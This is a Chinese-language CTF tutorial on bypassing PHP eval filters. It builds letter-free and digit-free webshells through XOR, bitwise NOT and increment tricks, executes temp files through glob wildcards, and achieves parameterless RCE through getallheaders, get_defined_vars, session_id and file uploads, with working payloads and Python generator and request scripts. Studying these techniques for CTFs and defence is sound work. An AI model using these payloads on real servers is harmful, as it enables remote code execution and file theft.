前言
首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。
浅谈eval和assert
从底层分析eval和assert的区别
命令执行与代码执行的小结
巧用命令注入的N种方式
命令注入绕过姿势
我就不在说这几个东西,大牛们都说的很细。我就直接进入我们的正题。
无数字字母webshell
例题:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
首先要求:不能存在数字字母。
需要我们明确思路:
核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符,然后再利用PHP允许动态函数执行的特点,拼接出一个函数名,如“assert”,然后动态执行之即可。
首先,eval是可以被disable_function
禁用吗?为什么?
php的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。
eval是zend的,因此不是PHP_FUNCTION 函数。通俗的说就是,eval是用c写的是底层的东西,它不是php层面的函数。所以php.ini无法禁用。
assert可以在php7使用吗?(默认情况)
默认不可以,需要配置。
了解php7特性
推荐文章:PHP7新特性一览
先说一下php5和php7的一些差异吧
php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。下面我们用两种环境下进行测试,进行比较。做个记录。
php5环境下
方法一
思路:异或
这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
这里的大部分是不可见字符,这里是用url编码表示。即
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
即:?code=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
把黑名单的字符转化成转化成白名单的字符异或拼在一起。构造payload写的一个小脚本:
import string
import urllib
black=string.letters+string.digits
# print black
# allstring=string.printable
white=string.punctuation
# print white
def yihuo(str1):
flag=''
for x in str1:
for i in white:
o=ord(x)^ord(i)
if chr(o) not in black:
if chr(o)=='\'' or chr(o)=='\\':
flag+='(\'\\'+urllib.quote(chr(o))+'\'^\''+urllib.quote(i)+'\').'
break
flag+='(\'%'+(chr(o).encode('hex'))+'\'^\''+urllib.quote(i)+'\').'
break
return flag[0:len(flag)-1]
st='assert'
print yihuo(st)
注:记得对一些字符进行url编码,比如&和+,都引起解析问题。
方法二
和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。
方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:
一般利用汉字,因为汉字的uniocode占3字节。可以利用其构造字母
利用这个特性。生成payload:
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
我测试发现{}可以用l[]来替换:
<?php
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___[$_]);$___="和";$____.=~($___[$__]);$___="和";$____.=~($___[$__]);$___="的";$____.=~($___[$_]);$___="半";$____.=~($___[$_]);$___="始";$____.=~($___[$__]);$_____='_';$___="俯";$_____.=~($___[$__]);$___="瞰";$_____.=~($___[$__]);$___="次";$_____.=~($___[$_]);$___="站";$_____.=~($___[$_]);$_=$$_____;$____($_[$__]);
即:assert($_POST[2])
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。记得传入参数时需要进行url编码。
方法三
这种方法的核心是:递增运算
这就得借助PHP的一个小技巧:参见文档
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
。。
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,P神编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_])
,无需获取小写a)
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
上述三种方式在php5下都能成功执行。
方法四
*
可以代替0个及以上任意字符?
可以代表1个任意字符
在PHP开启短标签即short_open_tag=on
时,可以使用<?=$_?>
输出变量
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
长度限制,使用通配:
$_=/???/???%20/???/???/????/;?><?=$_?>
正则过滤了$和_,改进为:
?><?=`/???/???%20/???/???/????/*`?>
p神还提供了另一种方式glob通配符
其中说到我们可以通过上传临时文件,这样我们就可以获得一些随机字符,上传的临时文件名字都是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
glob支持用[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势来干掉一些特殊字符。
就跟正则表达式类似,glob支持利用[0-9]
来表示一个范围。
所以,我们可以通过[@-[]
来限制字符为大写字符,即ascii码值在40-91的字符。同样也可以限制在小写字符97-123即可,这样我们就可以准确的确定文件名。
这里还有一个知识点就是
shell下可以利用.
来执行任意脚本。
用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?临时文件不就可以吗?
构造poc,执行任意命令啊
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
(orz p神tql)
php7环境下
上面的方法在php7.0.12测试成功。php7.1.13和php7.2.10测试失败。未成功的原因
是assert不支持函数名动态执行代码。所以不能执行。
php7中修改了表达式执行的顺序:参考文档
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式
所以很简单了,构造一个可以生成phpinfo
这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
(~%8F%97%8F%96%91%99%90)(); //phpinfo
得到脚本:
<?php
$want='phpinfo';
$want=str_split($want);
$flag='';
foreach ($want as $v){
$flag.=~$v;
}
echo "(~".urlencode($flag).")();";
难度升级:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
解决思路同样两种:
1.异或(未过滤 _$
时可以异或出_POST
或_GET
字符串来接受参数,绕过长度限制)
2.. file
任意命令执行(上面的方法四)过滤$
用这种方法。需要注意php5和php7的差别。
为啦了算缩短字符长度我们可以字符异或:(未过滤 _$
)
测试环境:# PHP Version 7.0.33
_POST为:'_'.("{`{|"^"+/((")
/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=var_dump(scandir('/'));
即$_='_GET';
$_GET[_]($_GET[__]);
即getshell
过滤_$
只有. file
任意命令执行了。。。
无参数RCE
大致思路如下:
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取
例子:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
正则匹配:
/[^\W]+\((?R)?\)/
匹配函数格式的的字符串。
如:a(b(c()));
,a();
只能执行函数,但是不能传入参数即不能a(1);
这种格式的。
因此,缺少参数,就增加了我们了rce的难度。
思想:超全局变量进行bypass,进行RCE。
超全局变量:
$GLOBALS //引用全局作用域中可用的全部变量
$_SERVER //服务器和执行环境信息
$_GET //HTTP GET 变量
$_POST //HTTP POST 变量
$_FILES //HTTP 文件上传变量
$_COOKIE //HTTP Cookies
$_SESSION //Session 变量
$_REQUEST //HTTP Request 变量 默认情况下包含了 [$_GET],[$_POST] 和 [$_COOKIE]的数组。
$_ENV //环境变量
函数 getallheaders()
注意:在apache环境下。nginx无法使用原因是getallheaders()是apache函数。
核心思路:
1.参数code不能使用带参数的php函数
2.让参数code获取其他位置传入的参数(http header)
3.getallheaders()可返回http header
4.code可以获取到http header中的参数,相当于任意参数调用
5.成功进行RCE
payload:
?code=eval(end(getallheaders())); 执行http header的最后一个参数的值。
函数:get_defined_vars()
其可以回显全局变量:
$_GET
$_POST
$_FILES
$_COOKIE
$_ENV
$_SERVER
$_REQUEST
和上面方法一样。通过全局变量传入我们的参数,RCE。
payload:
?code=eval(end(current(get_defined_vars())));&alex=phpinfo();
如果发现对
$_GET
$_POST
$_COOKIE
过滤的话。可已使用$_file
。
直接写一个上传。这里有个坑点。传入的文件空格被替换成_
。防止干扰可以用hex编码。
这里需要注意的是飘零师傅用的环境为只能获取
$_GET
$_POST
$_FILES
$_COOKIE
可以用end直接获取。我测试用end获取的是_server
。。。无法通过_files
。。。识环境而定吧。
import requests
from io import BytesIO
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x','') for c in s])
payload = str_to_hex("system('ls /tmp');")
files = {
payload: BytesIO()
}
r = requests.post('http://localhost/222.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print(r.content)
函数:sessin_id()
其实这里还能从$_COOKIE
下手:
可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路:hex2bin
import requests
url = 'http://localhost/222.php?code=eval(hex2bin(session_id(session_start())));'
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x','') for c in s])
payload = str_to_hex("phpinfo();")
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print(r.content)
函数:getenv()
$_ENV
,对应函数为getenv()
从一个偌大的数组中取出我们指定的值
可以使用array_rand()获取数组中随机的一个键或者array_flip()数组中获取随机的值。
通过爆破,获取我们想要的值。。。
函数:dirname() & chdir()
必须RCE吗???。可以直接读文件吧。。
了解一些函数:
getcwd() //返回当前目录
pos(localeconv())得到.即当前目录
scandir() //列出指定路径中的文件和目录
chdir() 切换目录
dirname() 返回路径中的目录部分
分析:假设当前目录为/var/www/html
dirname(getcwd()) //获取当前目录所在的路径 即:文件所在的上一级文件夹路径/var/www
chdir(dirname(getcwd())) //切换到当前目录所在的目录,返回bool值。
dirname(chdir(dirname(getcwd()))) //获取上述切换到的目录/var/www
scandir(dirname(chdir(dirname(getcwd())))) //获取目录/var/www的所有文件,返回值为一维数组前两个值为'.'和'..'
array_reverse(scandir(dirname(chdir(dirname(getcwd()))))) //翻转上述的一维数组,将'.'和'..'移到后面
current(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))) //获取数组第一个值。
readfile(current(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))) //读文件/var/www/xxx.txt
payload:
?code=readfile(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
理清思路:
getcwd() 获取当前目录
scandir() 列目录
dirname() 目录上跳
总结读文件的函数:
file() //把整个文件读入一个数组中
file_get_contents()以字符串形式获取文件的内容。
readfile()输出文件
highlight_file()高亮显示
不能使用
fopen()+fread() //按字节读取
fopen()+fgets() //按行读取
数组取值:
next() //返回数组中的下个单元
prev() //返回数组的上一个单元
pos()和current() //返回数组中的当前单元
end()//返回数组中的最后单元
each() 返回数组中当前的键/值对并将数组指针向前移动一步
reset()将数组的内部指针指向第一个单元
例子:
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';
?>
无参数RCE的例题:
ByteCTF 2019-boring_code
这个有一些姿势可以学习:参见writeupByteCTF 2019 Writeup
总结
姿势还有很多,继续努力。
本文借鉴多篇大佬文章:
无字母数字webshell之提高篇
PHP-Parametric-Function-RCE